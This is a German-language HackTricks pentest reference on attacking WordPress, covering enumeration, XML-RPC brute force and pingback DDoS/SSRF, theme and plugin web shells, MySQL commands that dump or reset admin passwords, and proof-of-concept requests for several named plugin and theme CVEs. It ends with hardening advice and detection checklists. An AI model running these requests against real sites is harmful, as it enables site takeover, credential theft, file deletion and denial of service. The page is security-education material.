Wordpress
Tip
Lernen & üben Sie AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
Grundlegende Informationen
-
Hochgeladene Dateien landen unter:
http://10.10.10.10/wp-content/uploads/2018/08/a.txt -
Theme-Dateien befinden sich in /wp-content/themes/, daher wirst du wahrscheinlich diesen Pfad verwenden, wenn du etwas PHP im Theme änderst, um RCE zu bekommen. Zum Beispiel: Wenn du das Theme twentytwelve verwendest, kannst du die Datei 404.php erreichen unter: /wp-content/themes/twentytwelve/404.php
-
Eine weitere nützliche URL könnte sein: /wp-content/themes/default/404.php
-
In wp-config.php kannst du das Root-Passwort der Datenbank finden.
-
Standard-Login-Pfade, die überprüft werden sollten: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/
Wichtige WordPress-Dateien
index.phplicense.txtenthält nützliche Informationen wie die installierte WordPress-Version.wp-activate.phpwird für den E-Mail-Aktivierungsprozess beim Einrichten einer neuen WordPress-Site verwendet.- Login-Dateien (können umbenannt sein, um sie zu verbergen):
/wp-admin/login.php/wp-admin/wp-login.php/login.php/wp-login.phpxmlrpc.phpist eine Datei, die eine WordPress-Funktion darstellt, die die Übertragung von Daten ermöglicht, wobei HTTP als Transportmechanismus und XML als Kodierungsmechanismus dient. Diese Art der Kommunikation wurde durch die WordPress REST API ersetzt.- Der
wp-content-Ordner ist das Hauptverzeichnis, in dem Plugins und Themes gespeichert sind. wp-content/uploads/ist das Verzeichnis, in dem alle auf die Plattform hochgeladenen Dateien gespeichert werden.wp-includes/ist das Verzeichnis, in dem Core-Dateien gespeichert sind, wie Zertifikate, Schriftarten, JavaScript-Dateien und Widgets.wp-sitemap.xmlIn WordPress-Versionen 5.5 und höher generiert WordPress eine sitemap-XML-Datei mit allen öffentlichen Beiträgen sowie öffentlich abfragbaren Post-Typen und Taxonomien.
Post exploitation
- Die
wp-config.php-Datei enthält Informationen, die WordPress benötigt, um sich mit der Datenbank zu verbinden, wie den Datenbanknamen, Datenbank-Host, Benutzername und Passwort, Authentifizierungs-Schlüssel und Salts sowie das Präfix der Datenbanktabellen. Diese Konfigurationsdatei kann auch verwendet werden, um den DEBUG-Modus zu aktivieren, was bei der Fehlersuche hilfreich sein kann.
Benutzerberechtigungen
- Administrator
- Editor: Veröffentlicht und verwaltet eigene und fremde Beiträge
- Author: Veröffentlicht und verwaltet seine eigenen Beiträge
- Contributor: Verfasst und verwaltet seine Beiträge, kann sie aber nicht veröffentlichen
- Subscriber: Kann Beiträge lesen und sein Profil bearbeiten
Passive Enumeration
WordPress-Version ermitteln
Prüfe, ob du die Dateien /license.txt oder /readme.html finden kannst.
Im Quellcode der Seite (Beispiel von https://wordpress.org/support/article/pages/):
- grep
curl https://victim.com/ | grep 'content="WordPress'
meta name
.png)
- CSS-Linkdateien
.png)
- JavaScript-Dateien
.png)
Plugins herunterladen
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Themes abrufen
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Versionen im Allgemeinen extrahieren
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
Active enumeration
Plugins and Themes
Du wirst wahrscheinlich nicht alle Plugins und Themes finden können. Um alle zu entdecken, musst du actively Brute Force a list of Plugins and Themes (hoffentlich gibt es dafür automatisierte Tools, die diese Listen enthalten).
Benutzer
- ID Brute: Du erhältst gültige Benutzer von einer WordPress-Seite, indem du Benutzer-IDs Brute Forcing durchführst:
curl -s -I -X GET http://blog.example.com/?author=1
Wenn die Antworten 200 oder 30X sind, bedeutet das, dass die id gültig ist. Wenn die Antwort 400 ist, dann ist die id ungültig.
- wp-json: Sie können auch versuchen, Informationen über die Benutzer zu erhalten, indem Sie abfragen:
curl http://blog.example.com/wp-json/wp/v2/users
Ein weiterer /wp-json/ endpoint, der einige Informationen über Benutzer offenlegen kann, ist:
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
Beachte, dass dieser endpoint nur Benutzer offenlegt, die einen Beitrag erstellt haben. Es werden nur Informationen über Benutzer bereitgestellt, bei denen diese Funktion aktiviert ist.
Also beachte, dass /wp-json/wp/v2/pages IP-Adressen leaken könnte.
- Login username enumeration: Beim Login über
/wp-login.phpist die Meldung unterschiedlich, je nachdem ob der angegebene Benutzername existiert oder nicht.
XML-RPC
Wenn xml-rpc.php aktiv ist, kannst du eine credentials brute-force durchführen oder es nutzen, um DoS-Angriffe auf andere Ressourcen zu starten. (Du kannst diesen Prozess zum Beispiel using this automatisieren).
Um zu prüfen, ob es aktiv ist, versuche auf /xmlrpc.php zuzugreifen und diese Anfrage zu senden:
Prüfen
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce
wp.getUserBlogs, wp.getCategories oder metaWeblog.getUsersBlogs sind einige der Methoden, die verwendet werden können, um credentials zu brute-force. Wenn du eine davon findest, kannst du etwas wie Folgendes senden:
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>
Die Meldung “Incorrect username or password” innerhalb einer 200-Status-Antwort sollte erscheinen, wenn die Zugangsdaten nicht gültig sind.
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png)
.png)
Mit den korrekten Zugangsdaten kannst du eine Datei hochladen. In der Antwort erscheint der Pfad (https://gist.github.com/georgestephanis/5681982)
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>
Auch gibt es einen schnelleren Weg, Zugangsdaten per Brute-Force zu erlangen, indem man system.multicall verwendet, da man mehrere Zugangsdaten in derselben Anfrage ausprobieren kann:
.png)
2FA umgehen
Diese Methode ist für Programme und nicht für Menschen gedacht und veraltet, daher unterstützt sie kein 2FA. Wenn du also gültige creds hast, aber der Hauptzugang durch 2FA geschützt ist, kannst du möglicherweise xmlrpc.php missbrauchen, um dich mit diesen creds anzumelden und 2FA zu umgehen. Beachte, dass du nicht alle Aktionen ausführen kannst, die über die Konsole möglich sind, aber du kannst möglicherweise trotzdem RCE erreichen, wie Ippsec in https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s erklärt.
DDoS oder Port-Scanning
Wenn du die Methode pingback.ping in der Liste findest, kannst du Wordpress dazu bringen, eine beliebige Anfrage an jeden Host/Port zu senden.
Das kann verwendet werden, um tausende von Wordpress Sites dazu zu bringen, einen Ort aufzurufen (wodurch dort ein DDoS verursacht wird) oder du kannst es nutzen, um Wordpress ein internes Netzwerk scannen zu lassen (du kannst jeden Port angeben).
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

Wenn Sie faultCode mit einem Wert größer als 0 (17) erhalten, bedeutet das, dass der Port offen ist.
Schauen Sie sich die Verwendung von system.multicall im vorherigen Abschnitt an, um zu lernen, wie man diese Methode missbrauchen kann, um DDoS zu verursachen.
DDoS
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>
.png)
wp-cron.php DoS
Diese Datei befindet sich normalerweise im Root der Wordpress-Website: /wp-cron.php
Wenn diese Datei aufgerufen wird, wird eine “schwere” MySQL Abfrage ausgeführt, daher kann sie von Angreifern genutzt werden, um einen DoS zu verursachen.
Auch wird standardmäßig wp-cron.php bei jedem Seitenaufruf (immer wenn ein Client eine Wordpress-Seite anfordert) aufgerufen, was bei stark frequentierten Seiten Probleme (DoS) verursachen kann.
Es wird empfohlen, Wp-Cron zu deaktivieren und einen echten cronjob auf dem Host einzurichten, der die benötigten Aktionen in regelmäßigen Abständen ausführt (ohne Probleme zu verursachen).
/wp-json/oembed/1.0/proxy - SSRF
Versuche, auf https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net zuzugreifen, und die Wordpress-Seite könnte eine Anfrage an dich senden.
Dies ist die Antwort, wenn es nicht funktioniert:
.png)
SSRF
https://github.com/t0gu/quickpress/blob/master/core/requests.go
Dieses Tool prüft, ob der methodName: pingback.ping und der Pfad /wp-json/oembed/1.0/proxy vorhanden sind, und falls ja, versucht es, diese auszunutzen.
Automatische Tools
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"
Zugriff durch Überschreiben eines Bits
Eher eine Kuriosität als ein realer Angriff. Im CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man konntest du 1 Bit in jeder wordpress-Datei flippen. So konntest du an Position 5389 der Datei /var/www/html/wp-includes/user.php ein Bit flippen, um die NOT (!) Operation zu NOPen.
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(
Panel RCE
Ändern einer php-Datei des verwendeten Themes (Admin-Zugang erforderlich)
Design → Theme-Editor → 404-Vorlage (rechts)
Ändere den Inhalt zu einer php shell:
.png)
Recherchiere im Internet, wie du auf die aktualisierte Seite zugreifen kannst. In diesem Fall musst du hier zugreifen: http://10.11.1.234/wp-content/themes/twentytwelve/404.php
MSF
Du kannst verwenden:
use exploit/unix/webapp/wp_admin_shell_upload
um eine Session zu bekommen.
Plugin RCE
PHP plugin
Es kann möglich sein, .php-Dateien als Plugin hochzuladen.
Create your php backdoor using for example:
.png)
Dann ein neues Plugin hinzufügen:
.png)
Upload plugin and press Install Now:
.png)
Klicken Sie auf Procced:
.png)
Wahrscheinlich scheint dies nichts zu bewirken, aber wenn Sie zu Media gehen, sehen Sie Ihre hochgeladene shell:
.png)
Rufen Sie sie auf und Sie sehen die URL, um die reverse shell auszuführen:
.png)
Uploading and activating malicious plugin
Diese Methode beinhaltet die Installation eines bösartigen Plugins, das dafür bekannt ist, verwundbar zu sein und ausgenutzt werden kann, um eine web shell zu erhalten. Dieser Prozess wird über das WordPress-Dashboard wie folgt durchgeführt:
- Plugin Acquisition: Das Plugin wird von einer Quelle wie Exploit DB bezogen, zum Beispiel hier.
- Plugin Installation:
- Navigieren Sie im WordPress-Dashboard zu
Dashboard > Plugins > Upload Plugin. - Laden Sie die ZIP-Datei des heruntergeladenen Plugins hoch.
- Plugin Activation: Nachdem das Plugin erfolgreich installiert wurde, muss es über das Dashboard aktiviert werden.
- Exploitation:
- Mit installiertem und aktiviertem Plugin “reflex-gallery” kann dieses ausgenutzt werden, da es als verwundbar bekannt ist.
- Das Metasploit-Framework stellt einen Exploit für diese Verwundbarkeit bereit. Durch Laden des entsprechenden Moduls und Ausführen spezifischer Befehle kann eine meterpreter-Session hergestellt werden, die unbefugten Zugriff auf die Seite ermöglicht.
- Es sei angemerkt, dass dies nur eine von vielen Methoden ist, um eine WordPress-Seite auszunutzen.
Der Inhalt enthält visuelle Hilfen, die die Schritte im WordPress-Dashboard zum Installieren und Aktivieren des Plugins darstellen. Es ist jedoch wichtig zu beachten, dass das Ausnutzen von Schwachstellen auf diese Weise ohne entsprechende Genehmigung illegal und unethisch ist. Diese Informationen sollten verantwortungsbewusst und nur in einem legalen Kontext, wie z. B. bei Penetrationstests mit ausdrücklicher Erlaubnis, verwendet werden.
For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/
From XSS to RCE
- WPXStrike: WPXStrike ist ein Script, das dazu entwickelt wurde, eine Cross-Site Scripting (XSS)-Schwachstelle zu eskalieren zu Remote Code Execution (RCE) oder anderen kritischen Schwachstellen in WordPress. Für mehr Infos siehe this post. Es bietet Support für Wordpress Versions 6.X.X, 5.X.X und 4.X.X und ermöglicht:
- Privilege Escalation: Erstellt einen Benutzer in WordPress.
- (RCE) Custom Plugin (backdoor) Upload: Laden Sie Ihr eigenes Plugin (backdoor) in WordPress hoch.
- (RCE) Built-In Plugin Edit: Bearbeitet eingebaute Plugins in WordPress.
- (RCE) Built-In Theme Edit: Bearbeitet eingebaute Themes in WordPress.
- (Custom) Custom Exploits: Custom Exploits für Third-Party WordPress Plugins/Themes.
Post Exploitation
Benutzernamen und Passwörter extrahieren:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
Admin-Passwort ändern:
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
Wordpress Plugins Pentest
Angriffsfläche
Zu wissen, wie ein Wordpress-Plugin Funktionalität nach außen bereitstellen kann, ist entscheidend, um Schwachstellen in dessen Funktionalität zu finden. Wie ein Plugin Funktionalität offenlegen könnte, sehen Sie in den folgenden Aufzählungspunkten und einige Beispiele verwundbarer Plugins in this blog post.
wp_ajax
Eine Möglichkeit, wie ein Plugin Funktionen nach außen bereitstellen kann, ist über AJAX-Handler. Diese können Logik-, Autorisierungs- oder Authentifizierungsfehler enthalten. Außerdem ist es ziemlich häufig, dass diese Funktionen sowohl die Authentifizierung als auch die Autorisierung auf das Vorhandensein eines Wordpress nonce stützen, den jeder in der Wordpress-Instanz authentifizierte Benutzer haben könnte (unabhängig von seiner Rolle).
Dies sind die Funktionen, die verwendet werden können, um eine Funktion in einem Plugin freizugeben:
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
Die Verwendung von nopriv macht den Endpunkt für alle Benutzer zugänglich (auch für nicht authentifizierte).
Caution
Außerdem, wenn die Funktion nur die Autorisierung des Benutzers mit der Funktion
wp_verify_nonceüberprüft, prüft diese Funktion lediglich, ob der Benutzer eingeloggt ist; sie überprüft normalerweise nicht die Rolle des Benutzers. Daher könnten Benutzer mit geringen Rechten Zugriff auf Aktionen mit hohen Rechten haben.
- REST API
Es ist auch möglich, Funktionen aus wordpress offenzulegen, indem man eine REST API mit der Funktion register_rest_route registriert:
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);
Der permission_callback ist eine Callback-Funktion, die überprüft, ob ein bestimmter Benutzer berechtigt ist, die API-Methode aufzurufen.
Wenn die eingebaute Funktion __return_true verwendet wird, wird die Benutzerberechtigungsprüfung einfach übersprungen.
- Direkter Zugriff auf die PHP-Datei
Natürlich verwendet Wordpress PHP und Dateien innerhalb von Plugins sind direkt über das Web zugänglich. Wenn ein Plugin also eine anfällige Funktionalität bereitstellt, die bereits durch den einfachen Zugriff auf die Datei ausgelöst wird, kann sie von jedem Benutzer ausgenutzt werden.
Trusted-header REST-Impersonation (WooCommerce Payments ≤ 5.6.1)
Einige Plugins implementieren „trusted header“ Shortcuts für interne Integrationen oder Reverse Proxies und verwenden diesen Header dann, um den aktuellen Benutzerkontext für REST-Anfragen zu setzen. Wenn der Header nicht von einer vorgelagerten Komponente kryptografisch an die Anfrage gebunden ist, kann ein Angreifer ihn fälschen und privilegierte REST-Routen als Administrator aufrufen.
- Impact: nicht authentifizierte Privilegieneskalation zum Admin, indem ein neuer Administrator über die core users REST route erstellt wird.
- Beispielheader:
X-Wcpay-Platform-Checkout-User: 1(erzwingt Benutzer-ID 1, typischerweise das erste Administrator-Konto). - Ausgenutzte Route:
POST /wp-json/wp/v2/usersmit einem erhöhten Rollen-Array.
PoC
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
Warum es funktioniert
- Das Plugin mappt einen vom Client kontrollierten Header auf den Authentifizierungszustand und überspringt Capability-Checks.
- Der WordPress-Core erwartet die
create_users-Capability für diese Route; der Plugin-Hack umgeht dies, indem er den aktuellen Benutzerkontext direkt aus dem Header setzt.
Erwartete Erfolgssignale
- HTTP 201 mit einem JSON-Body, der den erstellten Benutzer beschreibt.
- Ein neuer Admin-Benutzer sichtbar in
wp-admin/users.php.
Checkliste zur Erkennung
- Grep nach
getallheaders(),$_SERVER['HTTP_...']oder Vendor-SDKs, die benutzerdefinierte Header lesen, um den Benutzerkontext zu setzen (z. B.wp_set_current_user(),wp_set_auth_cookie()). - Überprüfe REST-Registrierungen auf privilegierte Callbacks, die keine robusten
permission_callback-Prüfungen haben und stattdessen auf Request-Header vertrauen. - Suche nach Verwendungen von Core-User-Management-Funktionen (
wp_insert_user,wp_create_user) in REST-Handlern, die nur durch Header-Werte abgesichert sind.
Nicht-authentifizierte beliebige Dateilöschung über wp_ajax_nopriv (Litho Theme <= 3.0)
WordPress-Themes und -Plugins geben häufig AJAX-Handler über die Hooks wp_ajax_ und wp_ajax_nopriv_ frei. Wenn die nopriv-Variante verwendet wird wird der Callback für nicht-authentifizierte Besucher erreichbar, daher muss jede sensible Aktion zusätzlich implementieren:
- Eine Capability-Prüfung (z. B.
current_user_can()oder mindestensis_user_logged_in()), und - Eine CSRF-Nonce, validiert mit
check_ajax_referer()/wp_verify_nonce(), und - Strikte Eingabe-Sanitierung / Validierung.
Das Litho multipurpose theme (< 3.1) hat diese 3 Kontrollen in der Remove Font Family Funktion vergessen und lieferte schließlich den folgenden Code (vereinfacht):
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();
if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
Probleme, die durch dieses Snippet eingeführt wurden:
- Unauthenticated access – der
wp_ajax_nopriv_Hook ist registriert. - No nonce / capability check – jeder Besucher kann den Endpoint aufrufen.
- No path sanitisation – die vom Benutzer kontrollierte
fontfamily-Zeichenkette wird ohne Filterung an einen Dateisystempfad angehängt, was klassischen../../-Traversal ermöglicht.
Exploitation
Ein Angreifer kann durch das Senden einer einzelnen HTTP POST-Anfrage jede Datei oder jedes Verzeichnis unterhalb des Uploads-Stammverzeichnisses (normalerweise <wp-root>/wp-content/uploads/) löschen:
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
Weil wp-config.php außerhalb von uploads liegt, reichen auf einer Standardinstallation vier ../-Sequenzen aus. Das Löschen von wp-config.php zwingt WordPress beim nächsten Aufruf in den Installationsassistenten, was eine vollständige Seitenübernahme ermöglicht (der Angreifer liefert lediglich eine neue DB-Konfiguration und legt einen Admin-Benutzer an).
Weitere wirkungsvolle Ziele sind Plugin-/Theme-.php-Dateien (um Sicherheitsplugins zu umgehen) oder .htaccess-Regeln.
Erkennungs-Checkliste
- Jeder
add_action( 'wp_ajax_nopriv_...')-Callback, der Dateisystem-Helfer (copy(),unlink(),$wp_filesystem->delete(), etc.) aufruft. - Konkatenation nicht bereinigter Benutzereingaben in Pfade (suche nach
$_POST,$_GET,$_REQUEST). - Fehlen von
check_ajax_referer()undcurrent_user_can()/is_user_logged_in().
Privilege escalation durch veraltete Rollenwiederherstellung und fehlende Autorisierung (ASE “View Admin as Role”)
Viele Plugins implementieren eine “view as role” oder temporäre Rollenwechsel-Funktion, indem sie die ursprüngliche(n) Rolle(n) in user meta speichern, damit diese später wiederhergestellt werden können. Wenn der Wiederherstellungs-Pfad ausschließlich auf Request-Parametern (z. B. $_REQUEST['reset-for']) und einer vom Plugin gepflegten Liste beruht, ohne capabilities und ein gültiges nonce zu prüfen, wird dies zu einer vertical privilege escalation.
Ein reales Beispiel wurde im Admin and Site Enhancements (ASE) Plugin (≤ 7.6.2.1) gefunden. Der Reset-Zweig stellte Rollen basierend auf reset-for=<username> wieder her, wenn der Benutzername in einem internen Array $options['viewing_admin_as_role_are'] erschien, führte jedoch weder eine current_user_can()-Prüfung noch eine Nonce-Überprüfung durch, bevor die aktuellen Rollen entfernt und die in user meta _asenha_view_admin_as_original_roles gespeicherten Rollen wieder hinzugefügt wurden:
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];
if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
Warum es ausnutzbar ist
- Vertraut
$_REQUEST['reset-for']und einer Plugin-Option ohne serverseitige Autorisierung. - Wenn ein Benutzer zuvor höhere Privilegien in
_asenha_view_admin_as_original_rolesgespeichert hatte und herabgestuft wurde, kann er diese wiederherstellen, indem er den Reset-Pfad aufruft. - In einigen Bereitstellungen könnte jeder authentifizierte Benutzer einen Reset für einen anderen Benutzernamen auslösen, der noch in
viewing_admin_as_role_arevorhanden ist (fehlerhafte Autorisierung).
Exploitation (example)
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
Auf verwundbaren Builds entfernt dies die aktuellen Rollen und fügt die gespeicherten Originalrollen wieder hinzu (z. B. administrator), wodurch effektiv Privilegien eskaliert werden.
Detection checklist
- Look for role-switching features that persist “original roles” in user meta (e.g.,
_asenha_view_admin_as_original_roles). - Identify reset/restore paths that:
- Benutzernamen aus
$_REQUEST/$_GET/$_POSTlesen. - Rollen via
add_role()/remove_role()ändern ohnecurrent_user_can()undwp_verify_nonce()/check_admin_referer(). - Auf Basis eines Plugin-Option-Arrays autorisieren (z. B.
viewing_admin_as_role_are) statt basierend auf den Fähigkeiten des Akteurs.
Nicht authentifizierte Privilegieneskalation durch cookie‑vertrauenswürdigen Benutzerwechsel am öffentlichen init-Hook (Service Finder “sf-booking”)
Einige Plugins hängen user-switching Helpers an den öffentlichen init Hook und leiten die Identität aus einem vom Client kontrollierten cookie ab. Wenn der Code wp_set_auth_cookie() aufruft, ohne Authentifizierung, capability und einen gültigen nonce zu überprüfen, kann jeder nicht authentifizierte Besucher sich als eine beliebige Benutzer-ID anmelden.
Typisches verwundbares Muster (vereinfacht aus Service Finder Bookings ≤ 6.1):
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');
function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid); // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}
Warum es ausnutzbar ist
- Öffentlicher
inithook macht den Handler für nicht authentifizierte Benutzer erreichbar (keineis_user_logged_in()-Prüfung). - Die Identität wird aus einem vom Client änderbaren Cookie (
original_user_id) abgeleitet. - Direkter Aufruf von
wp_set_auth_cookie($uid)loggt den Anfragenden als diesen Benutzer ein, ohne Capability-/Nonce-Prüfungen.
Exploitation (unauthenticated)
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close
WAF-Überlegungen für WordPress/plugin CVEs
Generische Edge-/Server-WAFs sind auf breite Muster (SQLi, XSS, LFI) abgestimmt. Viele hochkritische WordPress/plugin-Schwachstellen sind anwendungsspezifische Logik-/Authentifizierungs-Bugs, die wie harmloser Traffic aussehen, wenn die Engine WordPress-Routen und Plugin-Semantik nicht kennt.
Offensive Hinweise
- Target plugin-specific endpoints with clean payloads:
admin-ajax.php?action=...,wp-json/<namespace>/<route>, custom file handlers, shortcodes. - Exercise unauth paths first (AJAX
nopriv, REST with permissivepermission_callback, public shortcodes). Default payloads often succeed without obfuscation. - Typische hochkritische Fälle: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive Hinweise
- Don’t rely on generic WAF signatures to protect plugin CVEs. Implement application-layer, vulnerability-specific virtual patches or update quickly.
- Prefer positive-security checks in code (capabilities, nonces, strict input validation) over negative regex filters.
WordPress Protection
Regelmäßige Updates
Stelle sicher, dass WordPress, plugins und themes auf dem neuesten Stand sind. Bestätige außerdem, dass automatisches Updating in wp-config.php aktiviert ist:
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
Installiere außerdem nur vertrauenswürdige WordPress-Plugins und -Themes.
Sicherheits-Plugins
Weitere Empfehlungen
- Entferne den Standard admin Benutzer
- Verwende starke Passwörter und 2FA
- Periodisch überprüfe Benutzer Berechtigungen
- Begrenze Login-Versuche, um Brute Force-Angriffe zu verhindern
- Benenne die Datei
wp-admin.phpum und erlaube den Zugriff nur intern oder von bestimmten IP-Adressen.
Unauthenticated SQL Injection durch unzureichende Validierung (WP Job Portal <= 2.3.2)
Das WP Job Portal recruitment plugin stellte eine savecategory Aufgabe bereit, die letztlich den folgenden verwundbaren Code in modules/category/model.php::validateFormData() ausführt:
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
}
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
Probleme, die durch diesen Codeabschnitt entstehen:
- Unbereinigte Benutzereingabe –
parentidkommt direkt aus der HTTP-Anfrage. - String-Konkatenation innerhalb der WHERE-Klausel – kein
is_numeric()/esc_sql()/ prepared statement. - Unauthenticated reachability – obwohl die Aktion über
admin-post.phpausgeführt wird, ist die einzige Prüfung ein CSRF nonce (wp_verify_nonce()), den jeder Besucher von einer öffentlichen Seite mit dem Shortcode[wpjobportal_my_resumes]abrufen kann.
Ausnutzung
- Beschaffe einen frischen Nonce:
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
- Injiziere beliebiges SQL durch Missbrauch von
parentid:
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
Die Antwort gibt das Ergebnis der injizierten Abfrage preis oder verändert die Datenbank und beweist damit SQLi.
Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Eine weitere Aufgabe, downloadcustomfile, erlaubte Besuchern, beliebige Dateien auf der Festplatte mittels path traversal herunterzuladen. Die verwundbare Sink befindet sich in modules/customfield/model.php::downloadCustomUploadedFile():
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
$file_name ist vom Angreifer kontrolliert und wird ohne Bereinigung verkettet. Erneut ist das einzige Hindernis ein CSRF nonce, das von der Resume-Seite abgerufen werden kann.
Exploitation
